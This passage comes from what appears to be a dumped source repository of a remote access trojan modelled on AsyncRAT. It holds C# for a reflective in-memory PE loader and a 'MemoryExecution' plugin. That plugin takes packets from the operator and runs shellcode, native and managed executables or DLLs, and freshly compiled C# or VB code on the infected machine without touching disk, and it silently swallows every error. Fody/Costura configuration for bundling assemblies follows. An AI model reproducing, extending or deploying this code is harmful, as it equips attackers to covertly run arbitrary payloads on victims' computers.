IntPtr.Zero);\n            _initialized = false;\n        }\n\n        if (ImportModules != null)\n        {\n            foreach (IntPtr m in ImportModules) if (!PtrIsInvalidHandle(m)) Win.FreeLibrary(m);\n            ImportModules = null;\n        }\n\n        if (pCode != IntPtr.Zero)\n        {\n            Win.VirtualFree(pCode, IntPtr.Zero, AllocationType.RELEASE);\n            pCode = IntPtr.Zero;\n            pNTHeaders = IntPtr.Zero;\n        }\n\n        Disposed = true;\n    }\n\n    // Protection flags for memory pages (Executable, Readable, Writeable)\n    static readonly PageProtection[,,] ProtectionFlags = new PageProtection[2, 2, 2]\n    {\n        {\n            // not executable\n            { PageProtection.NOACCESS, PageProtection.WRITECOPY },\n            { PageProtection.READONLY, PageProtection.READWRITE }\n        },\n        {\n            // executable\n            { PageProtection.EXECUTE, PageProtection.EXECUTE_WRITECOPY },\n            { PageProtection.EXECUTE_READ, PageProtection.EXECUTE_READWRITE }\n        }\n    };\n\n    struct SectionFinalizeData\n    {\n        internal IntPtr Address;\n        internal IntPtr AlignedAddress;\n        internal IntPtr Size;\n        internal uint Characteristics;\n        internal bool Last;\n    }\n\n    class Of\n    {\n        internal const int IMAGE_NT_HEADERS_OptionalHeader = 24;\n        internal const int IMAGE_SECTION_HEADER_PhysicalAddress = 8;\n        internal const int IMAGE_IMPORT_BY_NAME_Name = 2;\n    }\n\n    class Of32\n    {\n        internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 28;\n        internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 96;\n    }\n\n    class Of64\n    {\n        internal const int IMAGE_OPTIONAL_HEADER_ImageBase = 24;\n        internal const int IMAGE_OPTIONAL_HEADER_ExportTable = 112;\n    }\n\n    class Sz\n    {\n        internal const int IMAGE_SECTION_HEADER = 40;\n        internal const int IMAGE_BASE_RELOCATION = 8;\n        internal const int IMAGE_IMPORT_DESCRIPTOR = 20;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_DOS_HEADER\n    {\n        public ushort e_magic;    // Magic number\n        public ushort e_cblp;     // Bytes on last page of file\n        public ushort e_cp;       // Pages in file\n        public ushort e_crlc;     // Relocations\n        public ushort e_cparhdr;  // Size of header in paragraphs\n        public ushort e_minalloc; // Minimum extra paragraphs needed\n        public ushort e_maxalloc; // Maximum extra paragraphs needed\n        public ushort e_ss;       // Initial (relative) SS value\n        public ushort e_sp;       // Initial SP value\n        public ushort e_csum;     // Checksum\n        public ushort e_ip;       // Initial IP value\n        public ushort e_cs;       // Initial (relative) CS value\n        public ushort e_lfarlc;   // File address of relocation table\n        public ushort e_ovno;     // Overlay number\n        public ushort e_res1a, e_res1b, e_res1c, e_res1d; // Reserved words\n        public ushort e_oemid;    // OEM identifier (for e_oeminfo)\n        public ushort e_oeminfo;  // OEM information; e_oemid specific\n        public ushort e_res2a, e_res2b, e_res2c, e_res2d, e_res2e, e_res2f, e_res2g, e_res2h, e_res2i, e_res2j; // Reserved words\n        public int e_lfanew;      // File address of new exe header\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_NT_HEADERS\n    {\n        public uint Signature;\n        public IMAGE_FILE_HEADER FileHeader;\n        public IMAGE_OPTIONAL_HEADER OptionalHeader;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_FILE_HEADER\n    {\n        public ushort Machine;\n        public ushort NumberOfSections;\n        public uint TimeDateStamp;\n        public uint PointerToSymbolTable;\n        public uint NumberOfSymbols;\n        public ushort SizeOfOptionalHeader;\n        public ushort Characteristics;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_OPTIONAL_HEADER\n    {\n        public MagicType Magic;\n        public byte MajorLinkerVersion;\n        public byte MinorLinkerVersion;\n        public uint SizeOfCode;\n        public uint SizeOfInitializedData;\n        public uint SizeOfUninitializedData;\n        public uint AddressOfEntryPoint;\n        public uint BaseOfCode;\n        public ulong ImageBaseLong;\n        public uint SectionAlignment;\n        public uint FileAlignment;\n        public ushort MajorOperatingSystemVersion;\n        public ushort MinorOperatingSystemVersion;\n        public ushort MajorImageVersion;\n        public ushort MinorImageVersion;\n        public ushort MajorSubsystemVersion;\n        public ushort MinorSubsystemVersion;\n        public uint Win32VersionValue;\n        public uint SizeOfImage;\n        public uint SizeOfHeaders;\n        public uint CheckSum;\n        public SubSystemType Subsystem;\n        public DllCharacteristicsType DllCharacteristics;\n        public IntPtr SizeOfStackReserve;\n        public IntPtr SizeOfStackCommit;\n        public IntPtr SizeOfHeapReserve;\n        public IntPtr SizeOfHeapCommit;\n        public uint LoaderFlags;\n        public uint NumberOfRvaAndSizes;\n        public IMAGE_DATA_DIRECTORY ExportTable;\n        public IMAGE_DATA_DIRECTORY ImportTable;\n        public IMAGE_DATA_DIRECTORY ResourceTable;\n        public IMAGE_DATA_DIRECTORY ExceptionTable;\n        public IMAGE_DATA_DIRECTORY CertificateTable;\n        public IMAGE_DATA_DIRECTORY BaseRelocationTable;\n        public IMAGE_DATA_DIRECTORY Debug;\n        public IMAGE_DATA_DIRECTORY Architecture;\n        public IMAGE_DATA_DIRECTORY GlobalPtr;\n        public IMAGE_DATA_DIRECTORY TLSTable;\n        public IMAGE_DATA_DIRECTORY LoadConfigTable;\n        public IMAGE_DATA_DIRECTORY BoundImport;\n        public IMAGE_DATA_DIRECTORY IAT;\n        public IMAGE_DATA_DIRECTORY DelayImportDescriptor;\n        public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;\n        public IMAGE_DATA_DIRECTORY Reserved;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_DATA_DIRECTORY\n    {\n        public uint VirtualAddress;\n        public uint Size;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_SECTION_HEADER\n    {\n        public ulong Name; //8 byte string\n        public uint PhysicalAddress;\n        public uint VirtualAddress;\n        public uint SizeOfRawData;\n        public uint PointerToRawData;\n        public uint PointerToRelocations;\n        public uint PointerToLinenumbers;\n        public ushort NumberOfRelocations;\n        public ushort NumberOfLinenumbers;\n        public uint Characteristics;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_BASE_RELOCATION\n    {\n        public uint VirtualAdress;\n        public uint SizeOfBlock;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_IMPORT_DESCRIPTOR\n    {\n        public uint OriginalFirstThunk;\n        public uint TimeDateStamp;\n        public uint ForwarderChain;\n        public uint Name;\n        public uint FirstThunk;\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_EXPORT_DIRECTORY\n    {\n        public uint Characteristics;\n        public uint TimeDateStamp;\n        public ushort MajorVersion;\n        public ushort MinorVersion;\n        public uint Name;\n        public uint Base;\n        public uint NumberOfFunctions;\n        public uint NumberOfNames;\n        public uint AddressOfFunctions;     // RVA from base of image\n        public uint AddressOfNames;         // RVA from base of image\n        public uint AddressOfNameOrdinals;  // RVA from base of image\n    }\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct SYSTEM_INFO\n    {\n        public ushort wProcessorArchitecture;\n        public ushort wReserved;\n        public uint dwPageSize;\n        public IntPtr lpMinimumApplicationAddress;\n        public IntPtr lpMaximumApplicationAddress;\n        public IntPtr dwActiveProcessorMask;\n        public uint dwNumberOfProcessors;\n        public uint dwProcessorType;\n        public uint dwAllocationGranularity;\n        public ushort wProcessorLevel;\n        public ushort wProcessorRevision;\n    };\n\n    [StructLayout(LayoutKind.Sequential)]\n    struct IMAGE_TLS_DIRECTORY\n    {\n        public IntPtr StartAddressOfRawData;\n        public IntPtr EndAddressOfRawData;\n        public IntPtr AddressOfIndex;\n        public IntPtr AddressOfCallBacks;\n        public IntPtr SizeOfZeroFill;\n        public uint Characteristics;\n    }\n\n    enum MagicType : ushort\n    {\n        IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,\n        IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b\n    }\n\n    enum SubSystemType : ushort\n    {\n        IMAGE_SUBSYSTEM_UNKNOWN = 0,\n        IMAGE_SUBSYSTEM_NATIVE = 1,\n        IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,\n        IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,\n        IMAGE_SUBSYSTEM_POSIX_CUI = 7,\n        IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,\n        IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,\n        IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,\n        IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,\n        IMAGE_SUBSYSTEM_EFI_ROM = 13,\n        IMAGE_SUBSYSTEM_XBOX = 14\n    }\n\n    enum DllCharacteristicsType : ushort\n    {\n        RES_0 = 0x0001,\n        RES_1 = 0x0002,\n        RES_2 = 0x0004,\n        RES_3 = 0x0008,\n        IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,\n        IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,\n        IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,\n        IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,\n        IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,\n        IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,\n        RES_4 = 0x1000,\n        IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,\n        IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000\n    }\n\n    enum BasedRelocationType\n    {\n        IMAGE_REL_BASED_ABSOLUTE = 0,\n        IMAGE_REL_BASED_HIGH = 1,\n        IMAGE_REL_BASED_LOW = 2,\n        IMAGE_REL_BASED_HIGHLOW = 3,\n        IMAGE_REL_BASED_HIGHADJ = 4,\n        IMAGE_REL_BASED_MIPS_JMPADDR = 5,\n        IMAGE_REL_BASED_MIPS_JMPADDR16 = 9,\n        IMAGE_REL_BASED_IA64_IMM64 = 9,\n        IMAGE_REL_BASED_DIR64 = 10\n    }\n\n    enum AllocationType : uint\n    {\n        COMMIT = 0x1000,\n        RESERVE = 0x2000,\n        RESET = 0x80000,\n        LARGE_PAGES = 0x20000000,\n        PHYSICAL = 0x400000,\n        TOP_DOWN = 0x100000,\n        WRITE_WATCH = 0x200000,\n        DECOMMIT = 0x4000,\n        RELEASE = 0x8000\n    }\n\n    enum MemoryProtection : uint\n    {\n        EXECUTE = 0x10,\n        EXECUTE_READ = 0x20,\n        EXECUTE_READWRITE = 0x40,\n        EXECUTE_WRITECOPY = 0x80,\n        NOACCESS = 0x01,\n        READONLY = 0x02,\n        READWRITE = 0x04,\n        WRITECOPY = 0x08,\n        GUARD_Modifierflag = 0x100,\n        NOCACHE_Modifierflag = 0x200,\n        WRITECOMBINE_Modifierflag = 0x400\n    }\n\n    enum PageProtection\n    {\n        NOACCESS = 0x01,\n        READONLY = 0x02,\n        READWRITE = 0x04,\n        WRITECOPY = 0x08,\n        EXECUTE = 0x10,\n        EXECUTE_READ = 0x20,\n        EXECUTE_READWRITE = 0x40,\n        EXECUTE_WRITECOPY = 0x80,\n        GUARD = 0x100,\n        NOCACHE = 0x200,\n        WRITECOMBINE = 0x400,\n    }\n\n    enum ImageSectionFlags : uint\n    {\n        IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000,  // Section contains extended relocations.\n        IMAGE_SCN_MEM_DISCARDABLE = 0x02000000,  // Section can be discarded.\n        IMAGE_SCN_MEM_NOT_CACHED = 0x04000000,  // Section is not cachable.\n        IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable.\n        IMAGE_SCN_MEM_SHARED = 0x10000000,  // Section is shareable.\n        IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable.\n        IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable.\n        IMAGE_SCN_MEM_WRITE = 0x80000000  // Section is writeable.\n    }\n\n    enum DllReason : uint\n    {\n        DLL_PROCESS_ATTACH = 1,\n        DLL_THREAD_ATTACH = 2,\n        DLL_THREAD_DETACH = 3,\n        DLL_PROCESS_DETACH = 0\n    }\n\n    class Win\n    {\n        public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D;\n        public const uint IMAGE_NT_SIGNATURE = 0x00004550;\n        public const uint IMAGE_FILE_MACHINE_I386 = 0x014c;\n        public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664;\n        public const uint PAGE_NOCACHE = 0x200;\n        public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040;\n        public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080;\n        public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;\n        public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;\n        public const uint IMAGE_FILE_DLL = 0x2000;\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);\n\n        [DllImport(\"msvcrt.dll\", EntryPoint = \"memset\", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]\n        public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Ansi, SetLastError = true)]\n        public static extern IntPtr LoadLibrary(IntPtr lpFileName);\n\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]\n        public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern bool FreeLibrary(IntPtr hModule);\n\n        [DllImport(\"kernel32.dll\", SetLastError = true)]\n        public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo);\n\n        // Equivalent to the IMAGE_FIRST_SECTION macro\n        public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader)\n        {\n            return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader);\n        }\n\n        // Equivalent to the IMAGE_FIRST_SECTION macro\n        public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader)\n        {\n            return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader;\n        }\n\n        // Equivalent to the IMAGE_ORDINAL32/64 macros\n        public static IntPtr IMAGE_ORDINAL(IntPtr ordinal)\n        {\n            return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff);\n        }\n\n        // Equivalent to the IMAGE_SNAP_BY_ORDINAL32/64 macro\n        public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal)\n        {\n            return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0));\n        }\n    }\n\n    static T PtrRead<T>(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); }\n    static void PtrWrite<T>(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); }\n    static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); }\n    static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); }\n    static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); }\n    static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); }\n    static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); }\n    static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); }\n    static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); }\n    static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); }\n    static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); }\n\n    static T BytesReadStructAt<T>(byte[] buf, int offset)\n    {\n        int size = Marshal.SizeOf(typeof(T));\n        IntPtr ptr = Marshal.AllocHGlobal(size);\n        Marshal.Copy(buf, offset, ptr, size);\n        T res = (T)Marshal.PtrToStructure(ptr, typeof(T));\n        Marshal.FreeHGlobal(ptr);\n        return res;\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/DotNetCode.cs",
    "content": "﻿using System;\nusing System.CodeDom.Compiler;\nusing System.Reflection;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : AsyncRAT ||\n*/\n\n\nnamespace Plugin\n{\n    internal class DotNetCode\n    {\n        internal static void Compiler(CodeDomProvider codeDomProvider, string source, string[] referencedAssemblies, string compilerOptions)\n        {\n            try\n            {\n                var compilerParameters = new CompilerParameters(referencedAssemblies)\n                {\n                    GenerateExecutable = true,\n                    GenerateInMemory = true,\n                    CompilerOptions = compilerOptions,\n                    TreatWarningsAsErrors = false,\n                    IncludeDebugInformation = false,\n                };\n                var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);\n\n                if (compilerResults.Errors.Count > 0)\n                {\n\n                }\n                else\n                {\n                    Assembly assembly = compilerResults.CompiledAssembly;\n                    MethodInfo methodInfo = assembly.EntryPoint;\n                    object injObj = assembly.CreateInstance(methodInfo.Name);\n                    object[] parameters = new object[1];\n                    if (methodInfo.GetParameters().Length == 0)\n                    {\n                        parameters = null;\n                    }\n                    methodInfo.Invoke(injObj, parameters);\n                }\n            }\n            catch (Exception)\n            {\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/Launch.cs",
    "content": "﻿using Microsoft.CSharp;\nusing Microsoft.VisualBasic;\nusing PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            MemoryExecutionPacket memoryExecutionPacket;\n            byte[] decompressed;\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.MEM_EXEC_SHELLCODE:\n                    memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;\n                    decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);\n                    ShellCode.RunShellCode(decompressed);\n                    break;\n\n                case PacketType.MEM_EXEC_NATIVE_PE:\n                    memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;\n                    decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);\n                    NativePE.LoadPE(decompressed);\n                    break;\n\n                case PacketType.MEM_EXEC_NATIVE_DLL:\n                    memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;\n                    decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);\n                    NativeDll.LoadDll(decompressed);\n                    break;\n\n                case PacketType.MEM_EXEC_MANAGED_DLL:\n                    memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;\n                    decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);\n                    ManagedDll.LoadDll(decompressed, memoryExecutionPacket.managedEntryPoint);\n                    break;\n\n                case PacketType.MEM_EXEC_MANAGED_PE:\n                    memoryExecutionPacket = (MemoryExecutionPacket)loadingAPI.CurrentPacket;\n                    decompressed = Compressor.QuickLZ.Decompress(memoryExecutionPacket.payload);\n                    ManagedExe.LoadExe(decompressed);\n                    break;\n\n                case PacketType.MEM_EXEC_CSHARP_CODE:\n                    DotNetCode.Compiler(new CSharpCodeProvider(new Dictionary<string, string>() {\n                {\"CompilerVersion\", \"v4.0\" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(\",\", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { \",\" }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions);\n                    break;\n\n                case PacketType.MEM_EXEC_VB_CODE:\n                    DotNetCode.Compiler(new VBCodeProvider(new Dictionary<string, string>() {\n                {\"CompilerVersion\", \"v4.0\" } }), ((RemoteCodeExecution)loadingAPI.CurrentPacket).code, string.Join(\",\", ((RemoteCodeExecution)loadingAPI.CurrentPacket).references).Split(new string[] { \",\" }, StringSplitOptions.RemoveEmptyEntries), ((RemoteCodeExecution)loadingAPI.CurrentPacket).compilerOptions);\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/ManagedDll.cs",
    "content": "﻿using Microsoft.VisualBasic;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class ManagedDll\n    {\n        internal static bool LoadDll(byte[] payload, string etp) \n        {\n            Thread thread = new Thread(() => \n            {\n                try\n                {\n                    string[] s = Strings.Split(etp, \".\");\n                    System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(payload);\n                    System.Reflection.MethodInfo method = null;\n                    method = assemblytoload.GetType(s[0] + \".\" + s[1]).GetMethod(s[2]);\n                    object obj = assemblytoload.CreateInstance(method.Name);\n                }\n                catch {}\n\n            });\n            thread.Start();\n\n            if (thread.IsAlive)\n                return true;\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/ManagedExe.cs",
    "content": "﻿using System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class ManagedExe\n    {\n        internal static bool LoadExe(byte[] payload)\n        {\n            Thread thread = new Thread(() =>\n            {\n                try\n                {\n                    System.Reflection.Assembly a = System.Reflection.Assembly.Load(payload);\n                    System.Reflection.MethodInfo m = a.EntryPoint;\n                    var parameters = m.GetParameters().Length == 0 ? null : new[] { new string[0] { } };\n                    m.Invoke(null, parameters);\n                }\n                catch { }\n\n            });\n            thread.Start();\n\n            if (thread.IsAlive)\n                return true;\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/MemoryExecution.csproj",
